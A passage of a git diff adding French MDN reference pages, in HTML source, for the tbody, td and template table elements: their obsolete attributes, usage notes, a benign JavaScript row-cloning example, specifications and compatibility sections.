+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d’utilisation :</strong> il est fortement conseillé de ne pas utiliser cet attribut car il n’est pas standard et n’a été implémenté que sous certaines versions d’Internet Explorer. L’élément {{HTMLElement("tbody")}} doit être mis en forme grâce aux propriétés <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui produit par l’attribut <strong><code>bgcolor</code></strong>, il est possible d’utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités.</div>
+ </dd>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} en {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} en {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d’une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l’attribut {{htmlattrxref("align", "tbody")}} ne vaut pas <code>char</code>, l’attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d’utilisation :</strong> cet attribut est obsolète et son utilisation est donc fortement déconseillé. De fait, il n’est pas pris en charge par la dernière recommandation. Pour réaliser le même effet qu’avec {{htmlattrxref("char", "tbody")}}, en utilisant CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} en {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} en {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l’attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d’utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n’est plus supporté dans le dernier standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} en {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} en {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut définit l’alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte sur la ligne la plus basse possible en utilisant la <a class="external" href="http://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code> ;</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule ;</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule ;</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note d’utilisation :</strong> cet attribut étant maintenant obsolète (et n’étant plus pris en charge), il est fortement déconseillé de l’utiliser. La propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<ul>
+ <li>Lorsque le tableau contient un élément {{HTMLElement("thead")}} (qui identifie les lignes d'en-tête), l'élément <code>&lt;tbody&gt;</code> doit apparaître après.</li>
+ <li>Si on utilise <code>&lt;tbody&gt;</code>, il faudra alors que celui-ci contienne toutes les lignes qui ne sont pas des lignes d'en-tête ou de pied de tableau. Autrement dit, il n'est pas possible d'avoir des éléments {{HTMLElement("tr")}} qui soient des éléments fils directs de {{HTMLElement("table")}} si on utilise <code>&lt;tbody&gt;</code>.</li>
+ <li>Utilisé à la suite d'un élément {{HTMLElement("thead")}} et/ou {{HTMLElement("tfoot")}}, l'élément <code>&lt;tbody&gt;</code> fournit des informations sémantiques supplémentaires pour les appareils d'affichage ou d'impression.</li>
+ <li>Lorsqu'il est imprimé, <code>&lt;tbody&gt;</code> représente le contenu qui, lorsqu'il est plus long qu'une page, sera différent sur chaque page. En revanche, {{HTMLElement("thead")}} et {{HTMLElement("tfoot")}} seront les mêmes ou seront semblables sur chacune des pages.</li>
+ <li><code>&lt;tbody&gt;</code> permet d'obtenir un défilement séparé pour les éléments {{HTMLElement("thead")}}, {{HTMLElement("tfoot")}} et {{HTMLElement("caption")}} d'un même élément {{HTMLElement("table")}}.</li>
+ <li>À la différence des éléments <code>&lt;thead&gt;</code>, <code>&lt;tfoot&gt;</code> et <code>&lt;caption&gt;</code>, on peut utiliser plusieurs éléments <code>&lt;tbody&gt;</code> (à la suite). Cela permet de répartir les lignes des grands tableaux en différentes sections, chacune pouvant être mise en forme distinctement.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Contenu d'en-tête 1&lt;/th&gt;
+      &lt;th&gt;Contenu d'en-tête 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Pied de tableau 1&lt;/td&gt;
+      &lt;td&gt;Pied de tableau 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Contenu interne 1&lt;/td&gt;
+      &lt;td&gt;Contenu interne 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">table {
+  border: 2px solid #555;
+  border-collapse: collapse;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","150")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Consulter la page {{HTMLElement("table")}} pour plus d'exemples sur <code>&lt;tbody&gt;</code>.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>L'élément {{HTMLElement("tbody")}} n'est pas un élément fils obligatoire de {{HTMLElement("table")}}. Cependant, il ne doit pas être présent si l'élément parent {{HTMLElement("table")}} possède un élément {{HTMLElement("tr")}} comme élément fils.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>L'élément <code>&lt;tbody&gt;</code> doit être au sein d'un élément {{HTMLElement("table")}} et peut être ajouté après un élément {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("thead")}} ou {{HTMLElement("tfoot")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableSectionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-tbody-element','tbody element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-tbody-element','tbody element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("html.elements.tbody")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}} ;</li>
+ <li>Les propriétés et pseudo-classes CSS qui sont particulièrement utiles pour mettre en forme l'élément <code>&lt;tbody&gt;</code> :
+  <ul>
+   <li>La pseudo-classe {{cssxref(":nth-child")}} qui permet de paramétrer l'alignement des cellules d'une colonne ;</li>
+   <li>La propriété {{cssxref("text-align")}} qui permet d'aligner le contenu des cellules par rapport à un même caractère (par exemple « . »).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/td/index.html b/files/fr/web/html/element/td/index.html
new file mode 100644
index 0000000000..bbd34e26c9
--- /dev/null
+++ b/files/fr/web/html/element/td/index.html
@@ -0,0 +1,247 @@
+---
+title: '<td> : l''élément de cellule de tableau'
+slug: Web/HTML/Element/td
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/td
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;td&gt;</code></strong> définit une cellule d'un tableau qui contient des données. Cet élément fait partie du<em> modèle de tableau</em>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/td.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1, si la valeur est 0, la cellule s'étend jusqu'à la fin du  {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront interprétées comme valant la valeur par défaut (1).
+ <div class="note"><strong>Note : </strong>En {{HTMLVersionInline(5)}} cet attribut ne peut valoir qu'un nombre strictement positif car <a href="https://dev.w3.org/html5/spec/single-page.html#attr-tdth-colspan">il ne doit pas être utilisé pour faire chevaucher des cellules</a>. Par ailleurs, Firefox est le seul navigateur supportant la valeur 0 définie par la spécification {{HTMLVersionInline(4.01)}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>Cet attribut est une liste de chaînes de caractères séparées par des espace. Chacune correspond à l'attribut <strong>id</strong> de l'élément {{HTMLElement("th")}} qui s'applique à la cellule courante.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>Cet attribut contient un entier positif indiquant sur combien de lignes s'étend la cellule. La valeur par défaut est 1. Si cet attribut vaut 0, la cellule s'étend jusqu'à la fin de la section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}} du tableau à laquelle appartient la cellule même si cette section est définie implicitement. Les valeurs supérieures à 65534 sont ramenées à 65534.</dd>
+</dl>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut contient une description courte et abrégée du contenu de la cellule. Certains outils utilisateurs, comme la synthèse vocale, peuvent décrire cette information avant le contenu lui-même.
+ <div class="note"><strong>Note : </strong>Cet attribut est obsolète dans le dernier standard et ne doit donc plus être utilisé. Il faut dans ces cas introduire la description au sein de la cellule comme un élément {{HTMLElement("abbr")}} indépendant ou utiliser l'attribut <code><strong>title</strong></code> de la cellule pour représenter le contenu et la cellule elle-même pour représenter le contenu abrégé.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut à valeurs définit l'alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left </code>: le contenu de la cellule est alligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "td")}} et {{htmlattrxref("charoff", "td")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur <code>left</code> est prise par défaut.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète dans le dernier standard et ne doit donc plus être utilisé.
+
+ <ul>
+  <li>Pour réaliser les mêmes effets que les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code>, il faut utiliser la propriété CSS {{cssxref("text-align")}} sur l'élément</li>
+  <li>Pour réaliser le même effet qu'avec la valeur <code>char</code>. Il est possible, en CSS3, d'utiliser la valeur de l'attribut {{htmlattrxref("char", "td")}} comme valeur de la propriété {{cssxref("text-align")}}. {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut contient une liste de chaîne de caractères (séparées par des espaces). Chaque chaîne de caractère est l'identifiant d'un groupe de cellule auquel cet en-tête s'applique.</dd>
+ <dd>
+ <div class="note"><strong>Note : </strong>Cet attribut est obsolète dans le dernier standard et ne doit donc plus être utilisé. L'attribut {{htmlattrxref("scope", "td")}} doit être utilisé pour le remplacer.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules de la colonne. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table>
+  <tbody>
+   <tr>
+    <td> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td> </td>
+    <td>
+     <p><code>aqua</code> = "#00FFFF"</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("td")}} doit être mis en forme grâce au <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui achevé par l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d'une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "td")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "td")}}, il faut utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note : </strong>Cet attribut est obsolète dans le dernier standard, la propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé afin de définir la largeur recommandée pour une cellule. Les propriétés <code><a href="/fr/docs/Web/API/HTMLTableElement/cellSpacing">cellspacing</a></code> et <code><a href="/fr/docs/Web/API/HTMLTableElement/cellPadding">cellpadding</a></code> peuvent être utilisées pour ajouter un espace supplémentaire et la largeur de l'élément {{HTMLElement("col")}} peut avoir un effet. En général, si la largeur d'une colonne est trop étroite pour afficher une cellule correctement, elle sera élargie lors de l'affichage.
+ <div class="note"><strong>Note : </strong>Cet attribut est obsolète dans le dernier standard, la propriété CSS {{cssxref("width")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Prénom&lt;/th&gt;&lt;th&gt;Nom&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean&lt;/td&gt; &lt;td&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Marcel&lt;/td&gt; &lt;td&gt;Patulacci&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'exemples, voir la page {{HTMLElement("table")}}.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Racine de section.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément est immédiatement suivi par  un élément {{HTMLElement("th")}} ou un élément {{HTMLElement("td")}} ou s'il n'y a plus aucune donnée dans l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableDataCellElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.td")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/template/index.html b/files/fr/web/html/element/template/index.html
new file mode 100644
index 0000000000..de61d03a3f
--- /dev/null
+++ b/files/fr/web/html/element/template/index.html
@@ -0,0 +1,165 @@
+---
+title: <template>
+slug: Web/HTML/Element/template
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/template
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;template&gt;</code></strong> (ou <em><strong>Template Content</strong></em> ou modèle de contenu) est un mécanisme utilisé pour stocker du contenu HTML (côté client) qui ne doit pas être affiché lors du chargement de la page mais qui peut être instancié et affiché par la suite grâce à un script JavaScript.</p>
+
+<p>Cet élément est un fragment de contenu mis de côté pour être utilisé par la suite dans le document. Lorsque le moteur traite le contenu de l'élément <code>&lt;template&gt;</code> lors du chargement de la page, il ne fait que vérifier la validité du contenu, ce dernier n'est pas affiché.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;td&gt;UPC_Code&lt;/td&gt;
+      &lt;td&gt;Product_Name&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;!-- existing data could optionally be included here --&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+  &lt;tr&gt;
+    &lt;td class="record"&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Au début, on a un tableau HTML pour lequel on insèrera du contenu plus tard grâce à l'aide d'un script JavaScript. Ensuite, on a le <em>template</em> qui décrit la structure du fragment HTML représentant une ligne de tableau.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Avec le tableau créé et le template défini, on utilise JavaScript pour insérer des lignes dans le tableau dont chacune est construite à partir du <em>template</em>.</p>
+
+<pre class="brush:js;">// On vérifie si le navigateur prend en charge
+// l'élément HTML template en vérifiant la présence
+// de l'attribut content pour l'élément template.
+if ("content" in document.createElement("template")) {
+
+  // On prépare une ligne pour le tableau
+  var template = document.querySelector("#productrow");
+
+  // On clone la ligne et on l'insère dans le tableau
+  var tbody = document.querySelector("tbody");
+  var clone = document.importNode(template.content, true);
+  var td = clone.querySelectorAll("td");
+  td[0].textContent = "1235646565";
+  td[1].textContent = "Stuff";
+
+  tbody.appendChild(clone);
+
+  // On fait de même pour une autre ligne
+  var clone2 = document.importNode(template.content, true);
+  td = clone2.querySelectorAll("td");
+  td[0].textContent = "0384928528";
+  td[1].textContent = "Acme Kidney Beans";
+
+  // Puis on insère
+  tbody.appendChild(clone2);
+
+} else {
+  // Une autre méthode pour ajouter les lignes
+  // car l'élément HTML n'est pas pris en charge.
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Le résultat correspond au tableau HTML original avec deux lignes supplémentaires qui ont été ajoutées grâce au code JavaScript :</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  background: #000;
+}
+table td {
+  background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Exemples", 500, 120)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_m%C3%A9ta-donn%C3%A9es">Contenu de méta-données</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Éléments_supports_de_script">élément destiné aux scripts</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Pas de restriction.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_m%C3%A9ta-donn%C3%A9es">Contenu de méta-données</a>, du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, ou <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Éléments_supports_de_script">des éléments destinés aux scripts</a>. L'élément {{HTMLElement("colgroup")}} est également autorisé s'il n'a pas l'attribut {{htmlattrxref("span", "colgroup")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTemplateElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
